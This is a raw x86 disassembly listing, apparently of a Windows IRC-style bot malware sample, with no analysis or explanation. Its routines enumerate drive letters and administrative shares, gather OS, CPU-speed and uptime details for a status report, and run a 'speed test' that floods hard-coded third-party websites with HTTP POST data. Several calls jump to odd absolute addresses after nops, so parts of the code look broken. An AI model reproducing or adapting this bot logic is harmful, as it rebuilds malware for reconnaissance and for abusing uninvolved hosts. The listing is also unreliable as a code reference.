		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_43A1C8


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB71C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_43A090
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_43A390
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_43A368


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0A0
		jb	short loc_41A321
		nop
		call	near ptr 2830B20h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB684
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_43A390
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_43A368


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A338
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A0D0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433EDC ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB6BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB6BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A4D8
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2680CE9h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB8F0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26C04ECh
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2670535h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D7D8
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26C04ECh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43193C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431938
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431934
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431930
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43192C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431928
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431920


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437EF4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB504
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB664
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7CC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2720000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A6F0
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


